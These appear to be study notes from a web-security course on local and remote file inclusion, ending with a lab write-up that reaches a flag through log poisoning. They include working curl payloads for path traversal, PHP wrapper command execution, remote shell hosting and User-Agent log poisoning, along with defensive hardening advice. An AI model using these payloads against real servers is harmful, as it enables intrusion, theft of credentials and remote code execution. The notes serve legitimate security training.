many modern backends use HTTP parameters to specify what is shown on the web page
in such cases, parameters are used to specify what resources are shown
an attacker can manipulate these parameters to display the content of any local file on the hosting server, leading to a Local File Inclusion (LFI)
vulnerability
the most common place we usually find LFI in is templating engines
template engines display pages that show common static parts like the header, nav bar, footer, etc. and dynamically load other content that changes between pages
otherwise, every page on the server would need to be modified if shared static parts are changed
we often see things like /index.php?page=about
where index.php sets static content like the header and footer and then only pulls the dynamic content specified in the parameter
we would have control over the about content so it could be possible grab other files and display them
LFI can lead to source code disclosure, sensitive data exposure, and RCE
there are many different types of apps and web servers that LFI can be present in but they all share the common factor of loading a file from a specified path
these files can be dynamic headers or different content based on the user-specified language, for example a ?language
GET parameter
in this example the language may change the directory the web app loads pages from like /en
and if we have control over the path being loaded we may be able to exploit it to read other files or get RCE
the include()
function loads a local or a remote file as we load a page
sometimes the path used will be from a user-controlled parameter and without any filtering the code becomes vulnerable to LFI
if (isset($_GET['language'])) {
include($_GET['language']);
}
some other functions vulnerable to this are include_once()
, require()
, require_once()
, and file_get_contents()
, but there are several more
here is an example of how a GET parameter is used to control what is shown on the page for nodejs:
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
whatever parameter gets passed from the url is used in the readFile()
function which then writes the file content in the HTTP response
express.js also has the render()
function which can be used to determine which directory to pull files from:
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
java web apps may include local files with the include
function:
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
include
will take a file or page url and render it to the frontend template
import
can also be used to render local files or urls:
<c:import url= "<%= request.getParameter('language') %>"/>
Response.WriteFile
takes a file path and writes its content to the response
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
the @Html.Partial()
function can also be used to render the specified file as part of the frontend:
@Html.Partial(HttpContext.Request.Query['language'])
the include
function can also be used to render local files or remote URLs, and can even execute the files as well
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
keep in mind that some of the above mentioned functions only read the content of the files, while others will also execute them
also, some only allow specifying remote URLs while others only work with local files
this is significant because executing files may allow us to execute functions and lead to RCE, while only reading the file will only let us read the source code
even just being able to read the source code from an LFI vulnerability may lead to revealing other vulnerabilities or leak info like database keys, admin credentials, or other sensitive info
we have a target web app that lets you change your language:
changing the language we can see the language=es.php
parameter being set:
this content could be loaded from a different database table based on the parameter, or it could be loading an entirely different version of the web app, and there are many other ways that the different content is loaded
remember that loading part of the page using template engines is the easiest and most common method used
so if the web app is pulling a file that is now being included in the page, then we might be able to change that file to read different ones
two common readable files that are available on most backend servers are /etc/passwd
on linux and C:\Windows\boot.ini
on windows
we can try to change the parameter to see if we can read a local file:
in the above example we read a file by specifying its absolute path of /etc/passwd
, which would work if the whole input is used in the whatever include function is being used like in:
include($_GET['language']);
however in many cases developers will concatenate the request parameter into the file strings:
include("./languages/" . $_GET['language']);
this would not work because in the above example it would become ./languages//etc/passwd
we can bypass this by traversing directories using relative paths by adding ../
before our file name to traverse up
if we are in the index.php directory then we can move up the chain of /var/www/html/index.php
and get into ../../../../etc/passwd
:
remember that if we reach the root and use ../
it will simply keep us in the root path so one trick is to use many ../
to try to get there
however always try to be efficient and find the minimum number of ../
sometimes our parameter will be used to get a filename like:
include("lang_" . $_GET['language']);
this would result in lang_../../../etc/passwd
but we can get around this by prefixing a /
so that it should consider the prefix as a directory and we should bypass the filename:
this wont always work because the example directory lang_/
may not exist, also any prefix appended to our input may break some file inclusion techniques
sometimes extensions will be appended to the parameters we use:
include($_GET['language'] . ".php");
there are many ways to get around this which we will discuss in further sections
second-order attacks occur because many web apps may be insecurely pulling files from the backend server based on user-controlled parameters
a web app might allow us to download our avatar through a URL like /profile/$username/avatar.png
using a malicious username like ../../../etc/passwd
then it could be possible to grab another file than our avatar
in this example we would poison a db entry with a malicious LFI payload in our username, then another web app functionality would use this entry to perform our attack (download our avatar), this is why it is called a second-order attack
these vulnerabilities are often overlooked because they may protect against direct user input but it would trust values pulled from the database, so if we managed to poison the database value for our username then this would be possible
the only difference between these attacks and the previous attacks is we need to find a function that pulls a file based on a value we indirectly control and then try to control that value to exploit this vulnerability
one of the most basic filters against LFI is a search and replace filter where it simply deletes substrings like ../
to avoid path traversal:
$language = str_replace('../', '', $_GET['language']);
this however is not recursive, so it runs a single time and does not apply the filter on the output string
if we used ....//
as our payload then the filter will remove ../
and the result will be ../
:
we can so the same with other payloads like ..././
or ....\/
in some other cases, escaping the forward slash character may also avoid path traversal ....\/
or adding forward slashes ....////
some web filters may prevent input filters that include LFI characters like .
or /
, but some of these may be bypassed by url encoding our input
for this to work we need to url encode all characters:
another trick is to encode the encoded string to create a double encoded string which might also bypass certain filters
some apps will use regex to ensure that the file being included is under a specific path, for example only paths that are under the ./languages
directory:
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
to find the approved path we can look at the requests sent by the existing forms
we can also fuzz for web directories under the same path
to bypass this we can start our payload with the approved path and use ../
to go back to the root directory:
we can combine this with other techniques like url encoding to get past other filters
modern versions of PHP will not let us bypass the extension restrictions but it is useful to know about them
in some earlier versions of PHP strings had a max length of 4096 chars and if a longer string is passed then it will be truncated and any characters after the max will be ignored
it also used to remove trailing slashes and single dots in path names so if you called /etc/passwd/.
then the /.
would be removed
PHP and linux in general also disregard multiple slashes in the path so ////etc/passwd
is the same as /etc/passwd
a current directory shortcut in the middle of the path would also be ignored /etc/./passwd
we can combine these to create very long strings that evaluate to the correct path
if we reach 4096 characters then the appended extension .php would be truncated
it is important to note that we would need to start the path with a non-existing directory for this to work
another example would be:
could automate this with:
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
we only need to make sure that the extension is truncated and not our payload
php before 5.5 were vulnerable to null byte injection which means that adding a null byte %00
at the end of the string would terminate the string and not consider anything after it
our payload would become something like /etc/passwd%00
which would truncate any appended extension
we can use PHP wrappers to extend our LFI exploitations to potentially even reach RCE
wrappers allow us to access I/O streams at the app level like standard I/O, file descriptors, and memory streams
we can extend our attacks with these to read PHP source code files or execute commands
php filtesr are a type of wrapper where we can pass different types of input and have it filtered by the filter we specify
to use PHP wrapper streams we use php://
and can access the php filter with php://filter/
the filter
wrapper has several parameters but we are focused on resource
and read
resource
is required and it specifies the stream we apply the filter to
read
applies different filters on the input resource
there are four different types of filters:
- string
- conversion
- compression
- encryption
the one useful for LFI attacks is convert.base64-encode
under conversion filters
fist step is to fuzz for available PHP pages:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
remember we should be scanning for codes like 301, 302, and 403 as well because we should be able to read their source code as well
with the results from these we can again scan those files to see which ones they reference so we can get an accurate image of the the app does
in our previous examples if we referenced PHP files they would get rendered as HTML to our target web page, however if we choose files like config.php
we get a blank output:
this may be useful in cases like accessing local files we don't have access to (SSRF), but in most cases we are concerned with reading the source code through LFI
to view the source code of the file we can base64 encode the contents and have that printed out to the app:
php://filter/read=convert.base64-encode/resource=config
remember that in this scenario the extension is automatically added on
now we will focus on gaining RCE
one easy way to gain control over the backend server is enumerate user credentials and SSH keys and use them to login
for example we may find the db password in a file like config.php which might also be the same password used for a user's account
can also check the .ssh directory in each user's home directory and if the read privileges aren't set right then we could grab their private key id_rsa and use it to ssh to the system
there are other ways to achieve RCE directly through the vulnerable function without relying on data enumeration or local file privileges
the data
wrapper can be used to include external data, including PHP code
only available to use if the allow_url_include
setting is enabled
we can check the configs file found at /etc/php/X.Y/apache2/php.ini
for apache or /etc/php/X.Y/fpm/php.ini
for nginx
X.Y
= the PHP version
we will also use the base64 filter because .ini files are like .php files and should be encoded to avoid breaking
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
we can then take the base64 encoded results and decode them to look for the allow_url_include
setting:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
now we know that we can use the data
wrapper, and remember that this is not set by default but is required for several other LFI attacks
it is not uncommon to see this setting set because it is required by many functionalities
we can now combine the data
wrapper with base64 using text/plain;base64
first we base64 encode a basic PHP shell:
which we can then url encode and use with the base64 data wrapper to execute commands:
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,<base64 encoded web shell>&cmd=id' | grep uid
similar to the data
wrapper the input
wrapper can be used to include external input and execute php code
the difference is that we pass our input to the input
wrapper as a POST request's data, so the vulnerable parameter must accept POST requests for this to work
the input
wrapper also depends on the allow_url_include
to be enabled
curl -s -X POST --data '<php web shell>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
with our previous shell, in order to pass our command as a GET request we need the vulnerable function to also accept GET requests, if it only accepts POST requests then we can put our command directly in our PHP code with something like <\?php system('id')?>
the expect
wrapper also allows us to directly run commands through URL streams
works similar to the other shells we've used but we don't need to provide a web shell because it is designed to execute commands
expect
is an external wrapper though so it needs to be manually installed and enabled on the backend server, but some apps rely on it so we may find it in some cases
we can do the same search we did with allow_url_include
but instead grep for expect
and we should find extension=expect
all we need to do with this is pass the expect://
wrapper and pass the command we want to execute:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
sometimes the vulnerable function will allow the inclusion of remote urls, which we can exploit for two main benefits:
- enumerate local-only ports and web apps for SSRF
- gain RCE by including malicious script that we host
these functions would allow RFI:
almost any RFI vulnerability is also an LFI vulnerability but an LFI might not always be RFI because:
- it might not allow remote URLs
- may only control a portion of the filename and not the entire protocol wrapper like
http://
,ftp://
, andhttps://
- config may prevent RFI altogether as most modern servers disable remote files by default
it is also worth noting that some function still will not allow code execution but we still would be able to enumerate local ports and web apps through SSRF
including remote URLs also requires allow_url_include
to be enabled, but this isn't always reliable because even if it is set it still might not allow remote URLs
first we should always try a local url:
first we need to create a shell script in the required language and host it on our server, most likely on a common HTTP port like 80 or 443 because these might be whitelisted by the server
we may also host the script through an FTP service or an SMB service
we start our server with sudo python3 -m http.server 443
and use our shell in the parameter:
make sure to always examine the request we send to look for things like appended file extensions
we can also host our script through the FTP protocol
we can start a basic FTP server with python's pyftpdlib:
sudo -m pyftpdlib -p 21
this may be useful in case that http ports are blocked by a firewall or http://
in the url gets blocked by the WAF
PHP by default will try to authenticate as an anonymous user but if the server requires valid authentication then the credentials can be specified in the URL:
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
if the server is hosted on a windows server which we can tell from the server version in the HTTP response headers, then we don't need the allow_url_include
setting to be enabled
we can instead use the SMB protocol for the RFI because windows treats files on remote SMB servers as normal files and can be referenced with a UNC path
we can create an SMB server with Impacket's smbserver.py which allows anonymous authentication by default:
impacket-smbserver -smb2support share $(pwd)
then we include our script in the UNC path like \\<our IP>\share\shell.php
and specify the command:
this attack is more likely to work if we are on the same network since accessing remote SMB servers over the internet might be disabled by default depending on the windows server config
file upload vulnerabilities will always exist, but for this attack we don't need the file upload form to be vulnerable, we just need it to upload files
if the vulnerable function has code execute capabilities then the code within the file will be executed if we include it, regardless of file extension or type
these functions will allow executing code with file inclusion:
first we want to create a malicious image containing our shell code
we will use an allowed image extension and include the image magic bytes at the beginning of the file content:
echo 'GIF8<php shell code>' > shell.gif
once we use the app to upload our file we can search for the uploaded file path in the source code:
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
we could also fuzz for the uploads directory and fuzz for our uploaded file but this might not always work if apps properly hide their uploaded files
now with the uploaded file path all we need to do is include the path in the LFI vulnerable function:
note that we will have to adjust our directory based on the traversal protections
the above technique is reliable and should work in most cases as long as the vulnerable function allows code execution
there are a couple other PHP-only techniques that use PHP wrappers to achieve the same goal
we can use the zip
wrapper to execute PHP code but it isn't enabled by default so this might not always work
we can start by creating our shell and zipping it into a zip archive:
echo '<shell>' > shell.php && zip shell.jpg shell.php
note that even though we named our file shell.jpg some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload
we can then include this file with the zip
wrapper as zip://shell.jpg
and then refer to any files within it as #shell.php
:
note that we added the uploads directory ./profile_images/
before the file name because the vulnerable page index.php is in the main directory
we can also use the phar://
wrapper to achieve a similar result
first we create the following php code into shell.php:
this can be then compiled into a phar file that when called will write a shell to a shell.txt sub-file which we can interact with
we compile the script into a phar file and rename it to shell.jpg:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
we can then call the file with phar://
and then specify the sub-file with /shell.txt
url encoded:
both zip and phar methods should be considered as alternative methods in case the first method does not work
there are also some upload attacks worth noting if file uploads are enabled in the PHP configs and the phpinfo()
page is somehow exposed to us but this isn't very common: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-phpinfo
we have seen previously that if we include a file that contains PHP code that it will be executed as long as the vulnerable function has execute privileges
log poisoning attacks all rely on the same concept, writing PHP code in a field we control that gets logged into a log file, then include that log file to execute the PHP code
the PHP web app should have read privileges over the logged files which vary from one server to another
any of these functions will have execute privileges:
most php web apps use PHPSESSID
cookies which hold specific user-related data on the back-end
these details are stored in session files on the backend and saved in /var/lib/php/sessions/
for linux and C:\Windows\Temp
for windows
the name of the file that contain a user's data matches the name of their PHPSESSID
cookie with the sess_
prefix:
/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
first lets get our cookie:
then lets try to include this session file through the LFI vulnerability:
we can see that the session file contains the selected language and preference values
the selected language is in our control since it is the page we select, but the preference value seems to be set somewhere out of our control
lets try setting the selected_language value to a custom value and see if it changes the session file
we can do this by visiting the page with a custom language value ?language=session_poisoning
then we can revisit the session file to see if it changes:
our next step is to perform the poisoning attack by writing php code to the session file
we can write and encode a php shell and insert it into the language parameter:
then we can revisit the page with our command:
keep in mind each time we do this we will have to re-poison the session file with the shell
both apache and nginx contain various log files like access.log
and error.log
access.log
contains info about all requests made to the server, including the User-Agent which we can control to poison the log file
when the logs are poisoned we need to include the logs through the LFI vulnerability which will require read access over the logs
nginx logs are readable by low privileged users by default like www-data, while apache logs are only readable by users with high privileges (rood/adm)
in older versions of apache these logs may be readable by low-privilege users
by default apache logs are in /var/log/apache2
on linux and in C:\xampp\apache\logs\
on windows
nginx logs are in /var/log/nginx/
and C:\nginx\log
logs could be in other locations so we can use an LFI wordlist to fuzz for them: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
we can try to include the apache access log:
this contains the remote IP address, request page, response code, and the User-Agent header
we can modify the user agent to see if it gets reflected in the response:
we can then poison the user agent with our shell or by sending a request through curl with:
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<shell>"
the user agent header is also shown on the process files under the linux /proc/
directory so we can try including the /proc/self/environ
or /proc/self/fd/N
files where N is the PID usually between 0-50
these files are only readable by privileged users
there are some other service logs we may be able to read:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
we can do things like log into the ssh or ftp services and set the username to php code and upon including them in the logs the PHP code will execute
the same goes for the mail services where we can send an email containing php code and on log inclusion it will get executed
many cases where we will need to create custom payloads to get past the specific combo of filters that an app is using
there are also many auto methods that can help us quickly identify and exploit trivial LFI vulnerabilities
we can also use fuzzing tools to test a list of common LFI payloads
html forms may be securely protected but many apps have pages with exposed parameters that aren't linked to forms, which is why it is important to fuzz for hidden parameters
with ffuf we can fuzz GET/POST parameters:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
there are also lists for popular LFI parameters: https://book.hacktricks.xyz/pentesting-web/file-inclusion#top-25-parameters
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
these wordlists will contain various bypasses and common files that we can combine with ffuf:
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
in addition to fuzzing LFI payloads there are different server files that may be helpful for LFI exploitation
some example files are:
- server webroot path
- server config file
- server logs
the server webroot will come in handy for example if we wanted to find a file we uploaded but can't reach its uploads directory through relative paths, in such cases we might want to find the webroot to figure out the absolute path
we can fuzz for the index.php file through common webroot paths
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
we could also use the previous LFI-jhaddix wordlist to find webroots
if none of these work then we could read the server configs as they tend to contain the webroot
we will need to identify the correct logs directory to be able to perform log poisoning
we can find this with the LFI-jhaddix wordlist but if we wanted a more precise scan we can use:
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
once we get results we can try reading any of the files with a simple curl command:
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
for an example if we read this file and see:
we get the default webroot path and the log path but we are missing the global apache variable APACHE_LOG_DIR
which we can find in another file /etc/apache2/envvars
which we can also read:
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars
the most common LFI tools are:
- LFISuite
- LFIFreak
- liffy
a lot of these tools arent well maintained and rely on python2
the most effective thing we can do is avoid passing any user-controlled inputs into any file inclusion functions or APIs
the page should be able to dynamically load assets on the backend without user input
we need to ensure that the functions for each type of web app we have mentioned is not passed any user input as we have seen that attackers can exploit the permissions that they have
some cases we will need to use user input in these functions and it can't be avoided, in these cases we should use a whitelist of allowed user inputs
for example we can use a whitelist of all existing paths used in the frontend
these can match IDs to files with a case-match script or a static json map with names and files that can be matched
if this is implemented then the matched files are used in the function, not user input
the best way to prevent directory traversal is to use the programming language's built-in tool to pull only the filename
PHP basename()
will read a path and only return the filename portion
we can also sanitize user input recursively to remove any attempts to traverse directories:
while(substr_count($input, '../', 0)) {
$input = str_replace('../', '', $input);
};
we should globally disable the inclusion of remote files by disabling things like allow_url_fopen
and allow_url_include
it is also often possible to lock web apps to their web root directory
most common way of doing this is running the app in Docker
if this isn't possible then it is still possible to do this by adding something like open_basedir = /var/www
in the php.ini file
could also make sure that potentially dangerous modules are disabled like PHP expect mod_userdir
the universal way to harden apps is to use WAF such as ModSecurity
most important thing is to avoid false positives and blocking non-malicious requests
ModSecurity minimizes false positives with permissive
mode
remember that the goal of hardening is to make it so that logs generated by attacker's behavior will be more easily recognizable, not necessarily to make the system un-hackable
performing a web app assessment focused on file inclusion and path traversal vulnerabilities
find the flag in the root directory
immediately we can see a dynamic page
parameter on our site that modifies the page content based on its value:
there is also a contact page message submission form that reveals the message parameter after submission:
these could likely be LFI vulnerable parameters but lets go ahead and fuzz for any other parameters just to see if there are any others:
to start with some very basic tests I use a very long string of ../../../
to try to read /etc/passwd
using the page
parameter:
I then try to get past the filter with ....//
:
next I try to use truncation but still get an invalid input:
now I want to try to use PHP filters and wrappers so first I want to fuzz for php files:
this actually resulted in some files that I hadn't seen just browsing the site, so I want to retry the parameter fuzzings for each file to see if there are any new results:
none of the new files seem to have any parameters that I don't know about yet so I again move on to trying to use PHP filters and wrappers to try to read some files:
I can see from this output that the PHP filter syntax doesn't get blocked by the parameter filters and I get the base64 encoded output of the index.php:
in this I can see the filter used for the page parameter:
you can also see that there is a hidden admin page that is commented out:
this takes us to a brand new page:
in this page there is a log
parameter that dynamically changes the page content:
I first want to check if there are any other parameters:
doing a quick auto scan on the parameter reveals many payloads for the log
parameter:
since this admin panel is log related I use the linux wordlist https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux to fuzz for possible files:
I can see that I found the nginx access.log file which I know from the module I can try modify the User-Agent header to insert a payload:
I can successfully read back the output I get from modifying the User-Agent so now lets modify it to include a payload:
it doesn't always upload on the first try so after sending the same request a few times I then retry a normal GET request but now with our command input and successfully see the result from the previously uploaded shell:
then finally I can use the shell to look for and read the flag file: